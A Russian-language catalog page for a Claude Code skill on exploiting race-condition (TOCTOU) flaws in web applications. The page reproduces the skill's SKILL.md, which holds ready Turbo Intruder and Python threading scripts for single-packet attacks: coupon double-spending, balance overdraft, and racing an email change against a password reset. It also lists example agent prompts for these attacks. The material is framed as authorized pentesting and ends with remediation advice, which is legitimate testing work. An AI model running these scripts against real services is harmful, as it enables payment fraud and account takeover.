К основному содержанию
скилл CX Codex

exploiting-race-condition-vulnerabilities — скилл для Claude Code

Скилл exploiting-race-condition-vulnerabilities для поиска и эксплуатации race condition (TOCTOU) в веб-приложениях через Burp Suite Turbo Intruder.

Apache-2.0 253 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilities -a claude-code
Открыть на GitHub

Что делает exploiting-race-condition-vulnerabilities

Скилл использует single-packet attack в Turbo Intruder — отправляет множество HTTP/2-запросов в одном TCP-пакете, добиваясь точной синхронизации. Это позволяет найти окно, где валидация и выполнение операции разделены во времени. Работает на эндпоинтах с состоянием: списание средств, применение купонов, изменение email при сбросе пароля, ограничение попыток входа.

Внутри скилла — готовые Python-скрипты для Turbo Intruder (с механизмом gate для синхронизации) и альтернатива через threading для локального тестирования. Требует Burp Suite Professional с установленным расширением Turbo Intruder и понимания TOCTOU-уязвимостей. Скилл предназначен для авторизованного пентеста и обучения; несанкционированное использование против чужих систем нарушает закон.

Какие задачи решает

  • обойти лимит на применение купона через одновременные запросы
  • дублировать платёж или перевод, эксплуатируя race condition между проверкой баланса и списанием
  • перегрузить ограничение на попытки входа или SMS-верификацию параллельными запросами
  • найти окно синхронизации между изменением email и сбросом пароля
  • проверить уязвимость инвентаря, отправив несколько покупок ограниченного товара одновременно

Примеры запросов агенту

  • Отправь GET /api/redeem-coupon с кодом SUMMER50 параллельно 20 запросами через single-packet attack, чтобы применить купон дважды
  • Синхронизируй POST /api/change-email и POST /api/reset-password в одном пакете — так письмо сброса уйдёт на новый адрес до его подтверждения
  • Проверь, удастся ли списать 100 руб. несколько раз, если отправить 50 транзакций из одного пакета на /api/transfer

Как установить exploiting-race-condition-vulnerabilities

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilities -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-race-condition-vulnerabilities/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-race-condition-vulnerabilities/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы об exploiting-race-condition-vulnerabilities

Как установить exploiting-race-condition-vulnerabilities в Claude Code?

Запусти npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilities -a claude-code. Затем открой ~/.claude/skills/exploiting-race-condition-vulnerabilities/SKILL.md для справки.

Что такое race condition и зачем её искать?

Race condition (TOCTOU) — это уязвимость, когда между проверкой условия и выполнением действия есть промежуток времени. Если отправить множество параллельных запросов, несколько могут пройти проверку до того, как сработает ограничение. Это позволяет применить купон дважды, списать деньги несколько раз или обойти лимиты входа.

Нужна ли мне Burp Suite Professional?

Да, требуется Burp Suite Professional с расширением Turbo Intruder. Скилл включает готовые Python-скрипты для этого расширения, но есть и альтернатива через threading для локального тестирования без Burp.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-race-condition-vulnerabilities
description: Detects and exploits race condition (TOCTOU) vulnerabilities in web
  applications using Burp Suite's Turbo Intruder extension and its single-packet
  attack technique to fire parallel requests that bypass rate limits, duplicate
  transactions, or overrun usage limits. Use when pentesting endpoints with balances,
  coupon redemption, or rate limiting that concurrent requests might manipulate.
domain: cybersecurity
subdomain: web-application-security
tags:
- race-condition
- turbo-intruder
- toctou
- concurrency
- single-packet-attack
- limit-overrun
- burp-suite
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1027
---

# Exploiting Race Condition Vulnerabilities

## When to Use
- When testing applications with transaction-based functionality (payments, transfers, coupons)
- During assessment of rate-limiting or attempt-limiting mechanisms
- When testing multi-step workflows (registration, password reset, MFA)
- During bug bounty hunting for logic flaws in state-changing operations
- When evaluating applications with inventory or balance management systems

## Prerequisites
- Burp Suite Professional with Turbo Intruder extension installed
- Understanding of HTTP/2 single-packet attack technique
- Python scripting ability for custom Turbo Intruder scripts
- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
- Target application with state-changing operations (purchases, votes, transfers)
- Multiple user accounts for testing cross-user race conditions


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Race Condition Attack Surface
```
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
```

### Step 2 — Configure Single-Packet Attack in Turbo Intruder
```python
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

### Step 3 — Execute Limit Overrun Attack
```python
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)
```

### Step 4 — Exploit Multi-Endpoint Race Conditions
```python
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to [email protected]
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"[email protected]"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"[email protected]"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

### Step 5 — Test with Python Threading Alternative
```python
import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():
    barrier.wait()  # All threads wait here, then start together
    send_request()

threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()
```

### Step 6 — Analyze Results and Confirm Exploitation
```
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)

# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |
| Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization |
| Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously |
| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |
| Hidden State Machine | Exploiting transitional states in multi-step application workflows |
| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |
| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |
| Burp Suite Repeater | Group send feature for basic race condition testing |
| Nuclei | Template-based scanner with race condition detection templates |
| Python threading | Custom multi-threaded race condition scripts |
| racepwn | Dedicated race condition testing framework |
| asyncio/aiohttp | Python async HTTP for concurrent request sending |

## Common Scenarios

1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used
2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check
3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts
4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic
5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests

## Output Format

```
## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20

### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |

### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms

### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
race-condition yaklang Скилл race-condition для проверки веб-приложений на гонки и TOCTOU: параллельные запросы, обход лимитов, одноразовые операции. CX Codex +1 4 000установок hunt-race-condition Sachin Sharma Скилл hunt-race-condition для Claude Code описывает поиск гонок в веб-приложениях: параллельную отправку запросов, окна TOCTOU и проверку сломанного состояния. CX Codex +1 ★ 16 193звёзд репо competition-race-condition-state-drift zhaoxuya520 Скилл competition-race-condition-state-drift для Claude Code разбирает гонки запросов и расхождения состояния в CTF-песочнице. После ctf-sandbox-orchestrator воспроизводит сбои из-за порядка или времени запросов. CX Codex +1 110установок business-logic-vulnerabilities yaklang Скилл business-logic-vulnerabilities для Claude Code: плейбук по бизнес-логике — гонки, подмена цены, обход шагов, злоупотребление купонами. Закрывает дыры, которые сканер не видит. CX Codex +1 4 300установок business-logic H-mmer Скилл business-logic направляет агента на поиск уязвимостей бизнес-логики: от подмены цен и обхода MFA до гонок в платежах. Помогает обосновать финансовый ущерб для баг-баунти. CX Codex +1 ★ 1 298звёзд репо hunt-business-logic H-mmer Скилл hunt-business-logic ищет уязвимости бизнес-логики: манипуляции ценами, гонки в транзакциях и обход 2FA. Пригодится при аудите веб-приложений и проверке логики биллинга. CX Codex +1 ★ 1 298звёзд репо

Из того же набора152

Весь набор →
exploiting-oauth-misconfiguration Скилл exploiting-oauth-misconfiguration для Claude Code выявляет и помогает эксплуатировать уязвимости конфигурации OAuth 2.0 и OpenID Connect. Проверяет OAuth-потоки в приложениях с социальной аутентификацией и SSO. CX Codex +1 256установок analyzing-threat-landscape-with-misp Скилл analyzing-threat-landscape-with-misp для Claude Code анализирует данные угроз через MISP: вычисляет статистику событий, распределение типов индикаторов компрометации, кластеры групп-злоумышленников и тренды тегов. CX Codex +1 256установок implementing-api-key-security-controls Скилл implementing-api-key-security-controls генерирует префиксные API-ключи, хеширует их через SHA-256, ограничивает доступ по IP и настраивает ротацию без даунтайма. Подходит для защиты межсерверных вызовов. CX Codex +1 255установок exploiting-excessive-data-exposure-in-api Скилл exploiting-excessive-data-exposure-in-api для Claude Code проверяет API на избыточную передачу данных по OWASP API3:2023, сопоставляя ответы с полями интерфейса. CX Codex +1 253установок analyzing-windows-event-logs-in-splunk Скилл analyzing-windows-event-logs-in-splunk для анализа журналов Windows Security, System и Sysmon в Splunk. CX Codex +1 251установок analyzing-windows-registry-for-artifacts Скилл analyzing-windows-registry-for-artifacts помогает извлекать и разбирать кусты реестра Windows при расследовании инцидентов. Находит автозагрузку, подключённые USB-накопители и следы запуска программ. CX Codex +1 248установок detecting-api-enumeration-attacks Скилл detecting-api-enumeration-attacks для Claude Code составляет SIEM-правила для поиска перебора идентификаторов и обхода проверок доступа к API. Включается при расследовании BOLA/IDOR и настройке охоты за угрозами. CX Codex +1 246установок conducting-full-scope-red-team-engagement Скилл conducting-full-scope-red-team-engagement для Claude Code планирует red team операции по MITRE ATT&CK. Запускается для оценки защиты от APT-атак или эмуляции действий группировки. CX Codex +1 243установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой